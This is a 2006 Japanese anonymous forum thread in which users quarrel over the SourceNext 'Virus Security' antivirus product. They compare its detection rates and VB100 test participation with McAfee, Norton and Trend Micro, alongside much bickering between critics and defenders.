422 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:55:05
>どれだけ考えても安い以外思いつきません

ノータリン

423 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:56:25
>>421

ま・・・・・
夏休みはいろいろな厨が出没するものだよ

424 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:57:26
VSが良くなれば入れてもいいかと思ってたが、擁護派からあれこれ突っ込まれたからその気が失せた。
お前らのアピールが足らんからもっといい情報を出せと突っついてたのだが、アンチの気持ちが分かってきたよ。


425 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:59:01
なつだなあ(AAry

426 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:02:59
>>415
しゃーぷでもふじつうでもアップルでもいいけど、ウイルス概念のないころから
年数数えても仕方ないでしょwもしかしてぱぴこんかこもどーる?ださw

427 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:03:00
>>424
いいよ、別に心にもないことをわざわざ言い訳しなくても。
擁護か誰か知らんが、ちょっと何か言われて勝手にへそ曲げてもな〜

428 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:05:15
18年前からウイルスはあったけど。

429 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:10:56
困るな・・・
これ以上にわかアンチを増やされても。
この事件はアンチ人口を増やしたいアンチの工作じゃないか(笑)

430 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:11:15
>入れずにチェックって目視ですか?
昔は職場でウィルス対策ソフトがFDで回覧されたし(今は著作権違反だが)、今はオンラインスキャンがある。
チェックなら入れる必要無し。

431 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:14:09
>>430
それは昔も著作権法違反ではないの

432 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:16:01
悪地がない時代だからな

433 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:16:06
>>428
ごめん、概念じゃおかしいな、PC/AT用のパキスタンの兄弟のやつが20年くらい前だっけ。
でもパソ通とかFDで日本に出回り出したのは90年台じゃなかったっけ?
アップルUのFDのは25年くらいだったかな…


434 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:16:28
>オンラインスキャン

防御がないなら、検索で判明したら基本的に手遅れでは?

435 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:18:35
数社のオンラインチェックで一件も発見されてないのですが、何か?

436 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:21:43
>>435
オンラインスキャンは商用及び法人の使用は禁止されてるが。

437 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:27:34
1980年頃はPC/ATは業務用として多くの会社で使われてたし、海外からソフトをFDに入れて持って帰ってくる人もいたから、感染はあった。
1990年代から出回りだしたというのは、一般家庭でも簡単にパソコンが買える時代になって一気にウイルスが広まったって事じゃない?

438 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:28:45
>>436
恥ずかしいやっちゃな。

439 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:29:33
>>430
オンラインスキャンて。堂々と一時ファイルパソコンの中に入ってるじゃねえか。
入れるってのはそういうことなんだよ。

440 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:31:12
現在、会社のパソはインストール必須ですが、何か。
18年間入れてなかったのは自宅PC。
FDで回覧されてたのは、まだ日本に著作権法が無い頃の話。

441 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:33:06
著作権法

昭和四十五年五月六日
法律第四十八号


442 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:33:08
×入れてない
○常駐してない

これでよろしいか?

443 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:34:40
×著作権法
○ソフトウェア著作権法

これでよろしいか?

444 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:35:20
>まだ日本に著作権法が無い頃の話。

いや法自体はあっただろ
規制の範囲が、書籍とか音楽とか映画とかくらいで、
ソフトウェアに及んでいなかった・・・・くらいか?
でもすでに有った様な気がするが

445 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:36:29
ソフトウェアは適用外

446 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:38:32
最大で18年前というと1988年頃以降だな

エプソンが98互換機を発売した時、日電とBIOSかあたりが原因で
発売を揉めていなかったっけ?

447 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:39:34
おまいら、話がそれてる。
ピットクルーが(・∀・)ニヤニヤしてるぞ!

448 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:40:46
まあ、どっちにせよ、「時効」だよ

でも、結局彼が「冷やかし」クンであることは間違いないのだが・・・・・

449 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:44:34
となると、ここで針のムシロとなった406は、恨みを抱いて
この後、当スレの荒らし厨に変貌するのであろうか?

450 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:45:27
人の良心を踏みにじる糞スレ。
どうでもいいけど、VSの話しろ。

451 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:46:49
ま、ただでさえあれている板だから、どうでも良いwww

452 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:50:21
VSを本当に使おうと思ったら、こういうスレでソフト&自分が
クソミソにけなされても、耐えられる精神力が必要ということだろう

453 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:54:18
VSが良くなったら使ってもいいって事だから、現時点で使う気はないって事だろ。
新たな芽を摘み取ってしまった。

454 :名無しさん@お腹いっぱい。:2006/08/12(土) 00:56:48
俺は糞まみれがすきだけど
VSだけはつかわん

455 :名無しさん@お腹いっぱい。:2006/08/12(土) 01:12:16
ttp://wifi.nintendo.co.jp/usb-connector/index.html
※本品はソースネクスト社のウイルスセキュリティ2006がインストールされているパソコンではご利用できません。

456 :名無しさん@お腹いっぱい。:2006/08/12(土) 01:24:06
これからも時代の進化に対応できない事例は多々発生するだろうから
VS入れてはいけません。


457 :名無しさん@お腹いっぱい。:2006/08/12(土) 01:24:19
安い分、捨てるのもた易いね。

458 :名無しさん@お腹いっぱい。:2006/08/12(土) 02:07:34
使っている奴が文句を書くのは分かるが、いちいち使わないとか
悪口を書きに来る奴は何が楽しいんだろうか。虚しくならんのかね。

459 :406だが何か?:2006/08/12(土) 02:25:33
18年間対策(常駐)無しでウイルス感染しない人もいるから、「VSを入れて感染してません」では説得力がない。
だから、VSが良いと言うのであれば実績を数値や程度で表したほうがいいと思ったんだけど、ここでそういう気遣いをすると擁護派にまで叩かれる事が良く分かった。
ま、他人の気遣いを気付かない輩が多いからしょうがないか。

言葉足らずや語弊があったのは確かだが、
「N-88BASICでウイルス」「チェックが目視」「ウイルス概念の無い頃から」
には呆れた。
俺の事を、冷やかしや心にも無いことを言っていると思うのはお前らの勝手だが、それは事実では無いと言っておく。

×使う気が無い
○使う気が無くなった
から、中立からアンチに転向した。俺の事を元からアンチだったと思う奴は、どうぞご勝手に。

460 :名無しさん@お腹いっぱい。:2006/08/12(土) 02:35:03
ヒント
http://www.google.co.jp/search?ie=UTF-8&oe=UTF-8&hl=ja&lr=lang_ja&q=%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%8D%E3%82%AF%E3%82%B9%E3%83%88%E3%81%AE%E9%87%8D%E5%A4%A7%E7%96%91%E6%83%91



461 :名無しさん@お腹いっぱい。:2006/08/12(土) 02:38:19
夏の風物詩だなw風流なこって。

462 :名無しさん@お腹いっぱい。:2006/08/12(土) 09:48:56
最近アイコン表示の調子が悪い。
全部有効になってるのに×がつく。


Q. 【ウイルスセキュリティ2006】タスクトレイのアイコンの左下に小さな赤の×マークがつく。
https://www.sourcenext.com/faq/action/faqdetails?kind=technical&no=VS-00497&sugtype=0&logid=8900080

■「ウイルスセキュリティ」の画面で機能が「有効」になっている場合

製品は正常に機能しています。ご安心ください。

アイコンの表示については、現在調査中です。
今後のアップデートで対応していく予定ですので、今しばらくお待ちください。

更新日:2006/05/26

463 :名無しさん@お腹いっぱい。:2006/08/12(土) 10:18:02
>>455
これは凄い。任天堂が名指しでお手上げか。
よほどの欠陥があるとしか思えないな。
まぁLAN欠陥はこのスレでも数回出ているけど。

464 :名無しさん@お腹いっぱい。:2006/08/12(土) 10:22:33
>>463
ちなみに初心者の中には2006とZEROは違うと思っている人がいる。
そういうことも含め任天堂はしっかり書いて欲しい。ZEROでも利用できないと。

465 :名無しさん@お腹いっぱい。:2006/08/12(土) 10:45:55
マカフィーとウイルスセキュリティの対応ウイルス数の数は同じ位と聞いたことがある

466 :名無しさん@お腹いっぱい。:2006/08/12(土) 11:07:50
案外製造元は同じだったりして

467 :名無しさん@お腹いっぱい。:2006/08/12(土) 11:12:37
HackerJapan7月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
37,117検体中
マカフィー・・・・・・・・・・36,737
ノートン・・・・・・・・・・・・36,147
ウイルスバスター・・・・34,668
ウイルスセキュリティ・15,043

PCJapan12月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
18,567検体中
ノートン・・・・・・・・・・・・18,389
マカフィー・・・・・・・・・・18,262
ウイルスバスター・・・・17,609
ウイルスセキュリティ・6,233

道具解で行われたウイルス検出テスト(Win32系のみ、トロイ含まず)
2,059検体中
マカフィー・・・・・・・・・・2,025
ノートン・・・・・・・・・・・・2,017
ウイルスバスター・・・・1,883
ウイルスセキュリティ・1,007

468 :名無しさん@お腹いっぱい。:2006/08/12(土) 11:13:47
じゃあなんでこんなに検出率に差があるんだろうね。

469 :名無しさん@お腹いっぱい。:2006/08/12(土) 11:18:09
>>465
IDC調べでマカヒは世界トップクラスの20万オーバーのシグネチャ数です
>>466
マカヒはアメリカ、K7はインドです。ラボの場所も公表されてます

マカフィーなどどうでもいいがVSごときと同じと吹聴されるのは不愉快

470 :名無しさん@お腹いっぱい。:2006/08/12(土) 11:52:56
>>465,466
嘘、デタラメ、捏造、根拠無しは自分の首を絞めるだけ、ということをいい加減学習した方がいい。

471 :名無しさん@お腹いっぱい。:2006/08/12(土) 12:07:30

意外に知らないコンピュータウイルスのミステリ
http://www.atmarkit.co.jp/news/200501/21/virus.html

 また、古い定義ファイルで新しいウイルスに対応できるかどうかという調査もAV-Test.orgが実施している。
調査は2004年5月に実施され、利用したのは2004年2月時点の定義ファイルとウイルス対策エンジンだ。
73種のin the Wildなウイルスが対象で、ほとんどのベンダでは検出率0%だった。
比較的多く検出したのは、NOD32が24種、Pandaが12種、McAfeeが11種であった。

 このような調査結果から中田氏は「やはりエンドユーザーの教育が非常に重要だ。
ウイルス対策ベンダがいうような『100%検出可能』『プロアクティブな検出ができる』といった宣伝をうのみにしてはならない」と警告する。

472 :名無しさん@お腹いっぱい。:2006/08/12(土) 12:19:46
また古い記事をw
VSはVB100も取れないお粗末なソフトだということは
エンドユーザーは知らないんだろうな
「やはりエンドユーザーの教育が非常に重要だ。」

473 :名無しさん@お腹いっぱい。:2006/08/12(土) 12:37:39
工作員乙

474 :名無しさん@お腹いっぱい。:2006/08/12(土) 12:40:20
>ウイルス対策ベンダがいうような『100%検出可能』『プロアクティブな検出ができる』といった宣伝をうのみにしてはならない」
http://www.k7computing.com/products.htm
>・100% Virus Detection

475 :名無しさん@お腹いっぱい。:2006/08/12(土) 12:59:15
>>474
リアルタイムで今現在出回っているマルウェアを100%検出するセキュリティソフトは存在しない
ほとんどのソフトは検体を入手してシグネチャを作成・配布して検出が可能になる
NOD32のように優れたヒューリスティックエンジンがあっても100%対応できるわけではない
自分使っているソフトが100%検出できると思うのはエンドユーザーの妄想だ

だから>>471の記事にもあるようにVB100% awardは全てのマルウェアを『100%検出可能』で
あるといってはいない
テストに合格し、一定の水準に達しているソフトに対してVB100% awardが与えられる
試験方法の詳細は http://www.virusbtn.com/ にある
VSはそのテストに参加もしていないから、一定の水準に達しているかどうかすら判断できない
つまりKingsoftなどと同じだ

ちなみに、今年6月のVB100% awardのテスト結果は

合格 (19)
Alwil (avast!) Authentium, Avira (AntiVir), Computer Associates (Vet) (eTrust), Doctor Web,
Eset (NOD32), F-Secure, Fortinet, GDATA, Grisoft (AVG), Kaspersky, McAfee, MicroWorld,
Microsoft OneCare, NWI, Norman, SOFTWIN (BitDefender), Sophos, Symantec

不合格 (7)
AEC, AhnLab, CAT QuickHeal, Central Command, FRISK, Hauri, VirusBuster

不参加 (14)
Aladdin Knowledge Systems, ArcaBit, Avira (formerly H+BEDV), BLC,
Computer Associates (eTrust/InoculateIT), GeCAD, Ggreat, Ikarus, Leprechaun,
Panda, Proland Software, Secure Resolutions, Trend Micro, Unasoft

476 :名無しさん@お腹いっぱい。:2006/08/12(土) 13:05:59
トレンドマイクロは不参加かよ
負ける勝負はしないって理由じゃないよね

477 :トレンドマイクソ:2006/08/12(土) 13:10:19
負けるから参加しません

478 :名無しさん@お腹いっぱい。:2006/08/12(土) 13:14:25
6月のテストはXPがプラットフォームだったからね
製品がある以上、本当なら参加すべきだと思うけど
準備が間に合わなかったんじゃないか

479 :名無しさん@お腹いっぱい。:2006/08/12(土) 13:15:40
なんでウイルスセキュリティはVirus BulletinにもAV-Test.orgにもAV-comparativesにも
参加どころか招待もされないんでしょうか?

480 :名無しさん@お腹いっぱい。:2006/08/12(土) 13:15:50
言っていることは間違ってないけど
ここはウイルスセキュリティの

ダメっぶり

を証明するところだ

481 :名無しさん@お腹いっぱい。:2006/08/12(土) 13:18:02
>自分使っているソフトが100%検出できると思うのはエンドユーザーの妄想だ
個人どころかK7というアンチウイルス企業がそういう妄想を発信するのはどうかと思うよね

482 :名無しさん@お腹いっぱい。:2006/08/12(土) 13:21:47
>>479
Virus BulletinやAV-comparativesはベンダーから参加する意思を示さないとだめ
あと英語版がないとテストを受けるのは厳しいかも

483 :名無しさん@お腹いっぱい。:2006/08/12(土) 13:53:37
>>482
>英語版がないと
k7の方で十分だよ。
まぁ、参加する意思などないだろう。やったところで馬脚をあらわすだけだし。

484 :名無しさん@お腹いっぱい。:2006/08/12(土) 14:36:09
アンチ同志諸君、VSの評判を下げるために頑張ってるね!
毎年高い更新料を払って安心を買っている我々にとって、
更新料無料などという暴挙に出たVSは許せん存在だよな。
もっと頑張って俺たちの金が無駄じゃない事を証明するんだ!

485 :名無しさん@お腹いっぱい。:2006/08/12(土) 14:50:47
>>484
>更新料無料などという暴挙に出たVSは許せん存在だよな
いや全然
金の問題じゃないし
お前は個人使用フリーのアンチウイルスが大暴挙だとでも思っているんですか

486 :名無しさん@お腹いっぱい。:2006/08/12(土) 15:03:56
強がるな

487 :名無しさん@お腹いっぱい。:2006/08/12(土) 15:55:46
>>486
発言の意図が分からない。

488 :名無しさん@お腹いっぱい。:2006/08/12(土) 16:22:59
ここに出てくるアンチに殊勝な心意気などない。
前の「18年クン」のように、自分のトンチンカンな行動態度を棚に上げて、
悪いのを何でも相手のせいにするような奴ばかりだ。
VSがうまく動作しなかったり、不具合があったのも、
自分に原因があるということにも気づけない連中だ。
それでいて、
糞ースとかいうのは、あまりにおこがましい。
真の糞はそいつらだ。

489 :名無しさん@お腹いっぱい。:2006/08/12(土) 16:41:07
ttp://wifi.nintendo.co.jp/usb-connector/index.html
※本品はソースネクスト社のウイルスセキュリティ2006がインストールされているパソコンではご利用できません。

490 :名無しさん@お腹いっぱい。:2006/08/12(土) 16:43:20
>>488
そんなことはどうでも良いんだけど
せめてVirusBulletinやAV Comparativesには参加して欲しいな
ユーザーに価格だけで判断しろと言うならそれでもかまわんが

491 :名無しさん@お腹いっぱい。:2006/08/12(土) 16:48:39
ヒント サギまがいの商法

492 :名無しさん@お腹いっぱい。:2006/08/12(土) 16:55:33
>>484
まさにアンチの本音なり。

493 :名無しさん@お腹いっぱい。:2006/08/12(土) 17:05:33
>>492
フリーを使ってる人間にはまったく通用しないどころか立場が逆転するな
もっと頑張ってお前たちの金が無駄じゃない事を証明しろ

494 :名無しさん@お腹いっぱい。:2006/08/12(土) 17:09:32
金を払ってフリー以上の環境を構築するのは分かる
俺はフリーを使ってそこそこの環境を作る
だがウイルスセキュリティは金を払ってフリー以下の環境を作ってる
ここが理解不能

495 :名無しさん@お腹いっぱい。:2006/08/12(土) 17:24:31
ヒント 10年分先払いで返金は30日まで

496 :名無しさん@お腹いっぱい。:2006/08/12(土) 17:30:52
んじゃもし5年後に倒産しちゃったら?

497 :名無しさん@お腹いっぱい。:2006/08/12(土) 20:01:11
倒産はないだろうが撤退はありえるな
あとソースだけの問題じゃなくK7が倒産したらという不安もある

498 :名無しさん@お腹いっぱい。:2006/08/12(土) 20:01:34
>>494
だったら黙ってろ。

499 :名無しさん@お腹いっぱい。:2006/08/12(土) 20:07:06
ソールネクストの宣伝力+インドの生産力=糞味噌ソフト

500 :名無しさん@お腹いっぱい。:2006/08/12(土) 20:14:52
俺も>>494に同感
普通はこんなの入れるくらいならフリーのやつ入れるだろ
これってCMに出てた藤原Nは知ってたのかな?

501 :名無しさん@お腹いっぱい。:2006/08/12(土) 20:17:06
今日も暇なアンチが粘着中。
粗探しより職探ししたらwww

502 :名無しさん@お腹いっぱい。:2006/08/12(土) 20:20:25
>>501
日本社会が分かってないなら黙ってろ

503 :名無しさん@お腹いっぱい。:2006/08/12(土) 21:52:33
>>490
そうするとキング並みなことがばれる。
ま、キングも参加してないけど。

504 :名無しさん@お腹いっぱい。:2006/08/12(土) 22:41:30
>>503
キングがというより中国製がすべて参加してない
というのも中国は自国の製品に最大級の栄誉を与えているから
それが世界的機関によって低い評価を与えられるのは国家の威信に・・・ということになるので参加できない
ちなみに中国国家公安はウイルスドクターにノートン以上の評価とお墨付を与えていたりする
思いっきりスレ違いになった

505 :名無しさん@お腹いっぱい。:2006/08/12(土) 22:54:56
そりゃぁあんた、『中華』人民共和国なんだから
中国のものは何でも一番! その他の国のものは2番以下
っていうのが彼らの考え方
まともな考え方もできない国のいうことなんざぁ
打っちゃっとけば良い
カッペは唐人の言うことを受け入れるかも知れねぇが
江戸っ子の俺には許せねぇやな

506 :名無しさん@お腹いっぱい。:2006/08/12(土) 23:22:37
>>498
理解不能だと言ってるんだから答えてやったらどうだい。
答えて諭してやるのが君のやることだと思うが。
何も答えられない方が不自然であり図星と捉えられても仕方がない。

507 :名無しさん@お腹いっぱい。:2006/08/12(土) 23:37:48
>>506
何役やってんだ?
糞だと思うソフトのスレに常駐する意味がわからんぞ。

508 :名無しさん@お腹いっぱい。:2006/08/12(土) 23:41:07
ヒント:ピットクルー

509 :名無しさん@お腹いっぱい。:2006/08/12(土) 23:51:41
>ピットクルー

って、なんだい?

510 :名無しさん@お腹いっぱい。:2006/08/13(日) 00:01:41
>>509
507のようにスレが荒れそうになったら出てきて沈静化を図る企業及び社員のこと

511 :名無しさん@お腹いっぱい。:2006/08/13(日) 00:29:18
フリー使えと騒いでるやついるが
本当に使ったことあるのだろうか

使ってみればVSより使いにくいのはすぐにわかる
複数PC所持してるんでいろんなセキュリティを使い分けてるけど
VSが一番手がかからなくていい



512 :名無しさん@お腹いっぱい。:2006/08/13(日) 00:33:45
>>6


513 :名無しさん@お腹いっぱい。:2006/08/13(日) 00:43:37
>>511
同意する

514 :名無しさん@お腹いっぱい。:2006/08/13(日) 00:47:59
>>511
自分のスキルが低いことを自慢しないように
使いにくい等も感覚的な話だと気づけ

515 :名無しさん@お腹いっぱい。:2006/08/13(日) 00:53:43
http://www.lib.city.minato.tokyo.jp/MNWLIB/servlet/search.detail_list?tilcod=1000000063856

516 :名無しさん@お腹いっぱい。:2006/08/13(日) 01:58:33
>>514
虚しい書き込みをしていると気づけ
他に居場所が無いのかい?

517 :名無しさん@お腹いっぱい。:2006/08/13(日) 04:27:00
このソフト使い始めて9ヶ月ぐらいなんだけどウイルス検出は3件なんだよね・・・
ちゃんと動いてるようではあるんだけどどうなんだろ?

518 :名無しさん@お腹いっぱい。:2006/08/13(日) 06:10:45
>>517
シマンテックのオンラインスキャンで確認
その上で、VSから他製品への乗換えを検討

519 :名無しさん@お腹いっぱい。:2006/08/13(日) 10:07:07
>>478
「準備が間に合わないから参加しない」「勝てないケンカはしない」
似たような意味に取れるがな
もしそうだとしたら問題外だ、ウイルス感染は待ってくれない

520 :名無しさん@お腹いっぱい。:2006/08/13(日) 10:12:50
ここはVSをみんなでたたくスレだから他社の問題点は指摘しないのが暗黙の了解。
空気を読めないやつは書くな。

521 :名無しさん@お腹いっぱい。:2006/08/13(日) 10:18:20
下衆のかんぐりって言葉を知っているかw

522 :名無しさん@お腹いっぱい。:2006/08/13(日) 11:46:51
>>519
478氏が書いておられることは必ずしも勝てない喧嘩はしないこととイコールじゃないですよ
これは想像ですが有力なテストに関してはそれに対応するためのチューニングがあると思います
もしそれが間に合わなくて出さないとするならばユーザーに変な誤解を与える結果を見せないということで正解だと思います

トレンドマイクロについてはウイルスバスターのパターンファイルの作成ミス及びチェックもれ事件のこともありテスト合格は優先順位が低くなっている可能性もあると思います

523 :名無しさん@お腹いっぱい。:2006/08/13(日) 11:58:40
VSの問題点のところまで読んだ

524 :名無しさん@お腹いっぱい。:2006/08/13(日) 11:59:58
>ここはVSをみんなでたたくスレ

そういうヤツは荒らし認定だから、お前こそ出て行け!ボケッ

525 :名無しさん@お腹いっぱい。:2006/08/13(日) 12:11:23
>>524
なんだろうねこの幼稚園児みたいな煽り荒らしは。

526 :名無しさん@お腹いっぱい。:2006/08/13(日) 12:21:08
>>520
バカか? VSのスレでなんで他社の問題点を指摘するんだよ。
普通にスレ違いなだけだろうが。

527 :名無しさん@お腹いっぱい。:2006/08/13(日) 12:29:42
520=525
ハイハイ自己弁護乙

528 :名無しさん@お腹いっぱい。:2006/08/13(日) 12:41:01
>>526
そうだよ、みんなでWSのことを話し合うスレだよ
和を乱すことになるからノートンとかバスターとかマカフィーとか具体的にな名前を一つだけあげて比較してはいけない
もちろんこの3社に順番をつけるのは問題外
みんなで仲良くやっているんだから下品な書き込みはしない
荒れそうになれば自作自演でもよいから強引に違う話題に持っていく

この文章を100回声に出して読んでから書き込みをしなさい


529 :名無しさん@お腹いっぱい。:2006/08/13(日) 12:55:19
WSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWS
WSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWS
WSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWS
WSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWS
WSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWS
WSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWSWS

これでいいか

530 :名無しさん@お腹いっぱい。:2006/08/13(日) 13:36:56
英字を全角で打つ奴はバカと相場は決まっている

531 :名無しさん@お腹いっぱい。:2006/08/13(日) 13:42:10
>>520 これが典型的な荒らし。特に発言に意味はない
>>524 これがそれに乗せられて一緒になって荒らしてる馬鹿
>>525 これが火に油を注ぐレスで
>>527 釣られて燃え上がった様がこれ
>>531 で、これも油

532 :528:2006/08/13(日) 13:46:02
>>529
よくできましたwただし100回で充分です

「VS」について語るスレに書く上での注意書きの補足

先入観を与えるのが目的なのでどんな形であれ絶対にほめてはいけない
価格の点については真っ向から否定はしないで無視する

その他補足ございましたらスレ内にてのご指摘よろしくお願い致します


533 :名無しさん@お腹いっぱい。:2006/08/13(日) 14:17:25
さすがにこのソフトだけは「試しに入れてみよう」と思ったことすらない。

534 :名無しさん@お腹いっぱい。:2006/08/13(日) 14:43:46
>>532
信者がアンチの振りをしてるようにしか見えねーわ。
言ってる内容も狂ってる。わざとらしい。
誉めるべき点は誉めて評価する。価格も基準の内だ。
それで尚かつVSの評価は低い。それがなぜかを指摘していくだけでいい。
妥当に評価するだけで製品としての体をなしていないソフトだ。下らない煽りは必要ない。

535 :名無しさん@お腹いっぱい。:2006/08/13(日) 14:53:46
お前が一番必要ない

536 :名無しさん@お腹いっぱい。:2006/08/13(日) 15:03:25
531が一番の荒らし、と言われたいらしい

537 :528:2006/08/13(日) 15:08:04
>>534
ご指摘ありがとうございます

読解力のない方に見受けられますが実際にそうなのでしょうか
それともわざとですか?

どちらにいたしましてもそのような頭に綿菓子が詰まった人間が書いたような文章ではウイルスセキュリティを利するだけです
普段常駐されておられます方の文章などをご参考の上での再度のご意見をお願い致します

538 :名無しさん@お腹いっぱい。:2006/08/13(日) 15:28:41
>>537
常駐アンチを馬鹿にしてるのか?
俺はこれ以上の被害者を出さないために頑張ってるんだ。
更新料無料なんて、どうでもいいこと。羨ましくない。

539 :名無しさん@お腹いっぱい。:2006/08/13(日) 15:36:08
http://www2.library.shinjuku.tokyo.jp/cgi-bin/detail?biblioid=0201496384&type=0&count=10&before=select

540 :名無しさん@お腹いっぱい。:2006/08/13(日) 15:45:20
VSのスレで何が何でもVSを批判するのはおかしい
基本的にここはVSが好きなやつが集まるところ
そうじゃないやつはVS批判専門のスレッドでもつくってやっとけばいい

541 :名無しさん@お腹いっぱい。:2006/08/13(日) 15:52:52
外野で見てるやつがつまんねーだろ
ダメなものは叩かれる運命だ

542 :528:2006/08/13(日) 15:55:56
>>538
もうちょっとうまくやって欲しいと思うことは多いですね
ただし馬鹿にしている常駐アンチはいますがすべての常駐アンチを馬鹿にしているわけではありません
うまいなと思うことも多いですよ
自分自身は下品な文章ではしません


543 :名無しさん@お腹いっぱい。:2006/08/13(日) 16:06:10
>>540
VSが好きな奴は不具合に対しても盲目なのか?
>>542
お前の文章は十分下品だよ

544 :528:2006/08/13(日) 16:09:54
>>543
ただの捨て台詞みたいなのはやめましょうよ

545 :名無しさん@お腹いっぱい。:2006/08/13(日) 16:35:41
アンチさんへ。
VSが他に比べて良くないのは、もう十分に分かったよ。
でも俺の環境では何も問題がないから使ってるんだ。
ここで執拗にVSを批判したって何もならないのはわかるでしょ。
自分の使ってるソフトのスレに帰ってくれると助かる。
VSを叩くよりも、別の所で自分が使っているソフトの良さを
訴えて普及に努めた方が健全だと思うよ。

擁護さんへ。
俺は他人にVSを勧めない。問題が無いから使っているけど、
決して良い物とまでは言い切れないと思っているからだ。
はっきり言って、これを過剰に擁護するのは馬鹿っぽいよ。
自分にとって問題が無い物なら、それでいいじゃない。
下手な擁護を展開するから荒れ続けるんだよ。

546 :名無しさん@お腹いっぱい。:2006/08/13(日) 16:44:12

                  ,..-──- 、
                /. : : : : : : : : : \
               /.: : : : : : : : : : : : : : ヽ    
               ,!::: : : :,-…-…-ミ: : : : :',
              {:: : : : :i '⌒'  '⌒' i: : : : :}
                 {:: : : : | ェェ  ェェ |: : : : :}
.         , 、      { : : : :|   ,.、   |:: : : :;!
        ヽ ヽ.  _ .ヾ: :: :i r‐-ニ-┐ | : : :ノ     < お前ら表へ出ろ! 外で遊んでこい!
          }  >'´.-!、 ゞイ! ヽ 二゙ノ イゞ‐′
          |    −!   \` ー一'´丿 \
         ノ    ,二!\   \___/   /`丶、
        /\  /    \   /~ト、   /    l \
       / 、 `ソ!      \/l::::|ハ/     l-7 _ヽ
      /\  ,へi    ⊂ニ''ー-ゝ_`ヽ、    |_厂 _゙:、
      ∧   ̄ ,ト|    >‐- ̄`    \.  | .r'´  ヽ、
     ,ヘ \_,. ' | |    丁二_     7\、|イ _/ ̄ \
     i   \   ハ       |::::|`''ー-、,_/  /\_  _/⌒ヽ


547 :名無しさん@お腹いっぱい。:2006/08/13(日) 17:05:38
>>544
これからもこれ以前もお前の賛同者などいないよ。
それに気づけ。

548 :名無しさん@お腹いっぱい。:2006/08/13(日) 17:58:39
>>545
ここで批判しないと新規の犠牲者が発生するだろう
それだけは食い止めないとな

549 :名無しさん@お腹いっぱい。:2006/08/13(日) 18:09:13
で、これはWinAntiVirusには対応してるの?
擁護でもアンチでもどっちでもいいから教えて。

550 :名無しさん@お腹いっぱい。:2006/08/13(日) 19:06:18
>>530
>英字を全角で打つ奴はバカと相場は決まっている

じゃー、半角カタカナ打つヤツもバカだよなw

551 :名無しさん@お腹いっぱい。:2006/08/13(日) 19:28:16
>>550
誰が馬鹿という問題ではなくお前が一番馬鹿

552 :名無しさん@お腹いっぱい。:2006/08/13(日) 19:32:15
>>549
Q. 「ウイルスセキュリティ」はAntinnyに対応しているか?
A. はい、「W32.Antinny」などとして検出します。
ttp://sec.sourcenext.info/winny/

553 :名無しさん@お腹いっぱい。:2006/08/13(日) 19:33:02
>>549
Q. 「ウイルスセキュリティ」はAntinnyに対応しているか?
A. はい、「W32.Antinny」などとして検出します。
しかし、新種や亜種が発生した際には、早急に対応が行なえない場合がありますので、十分にご注意ください。
http://sec.sourcenext.info/winny/

554 :名無しさん@お腹いっぱい。:2006/08/13(日) 19:34:28
XP初回起動後数分でフリーズしてしまいます。
固まるタイミングはいつも違うのですが、一度リセットすれば固まらなくなります。
再起動後は>>462のようになりますが一応動いてるみたいです。
これってやっぱりVSのせいですかね?
何も無いよりはましだと思って使ってますがアンインスコするべきでしょうか・・・

555 :名無しさん@お腹いっぱい。:2006/08/13(日) 19:38:11
>>553
AntinnyじゃなくWinAntiVirusについて聞いてるんですが。

556 :名無しさん@お腹いっぱい。:2006/08/13(日) 19:41:07
今日VSで検出したウイルス

2006-8-13 Datacrime II-b

557 :名無しさん@お腹いっぱい。:2006/08/13(日) 19:53:11
>>555
ソースに聞け。

558 :名無しさん@お腹いっぱい。:2006/08/13(日) 19:55:44
>>557
メールしても返事が来ません

559 :名無しさん@お腹いっぱい。:2006/08/13(日) 20:38:46
>>558
K7に英文で聞け。

560 :名無しさん@お腹いっぱい。:2006/08/13(日) 20:54:57
ぼくは中卒なんですけど英文かけません

561 :名無しさん@お腹いっぱい。:2006/08/13(日) 20:56:45
>>547
はっきり言ってあげよう。
頭の悪い短気なやつがアンチをやっていたら逆の意味になってしまう。
邪魔をするな。

562 :名無しさん@お腹いっぱい。:2006/08/13(日) 21:11:02
>>561
つまりお前のことじゃん
アンチ同士喧嘩してんなよ見苦しいw

563 :名無しさん@お腹いっぱい。:2006/08/13(日) 21:22:41
粗悪品のせいだけどな

564 :名無しさん@お腹いっぱい。:2006/08/13(日) 21:24:12
幼稚園児の言い合いスレはここですか?

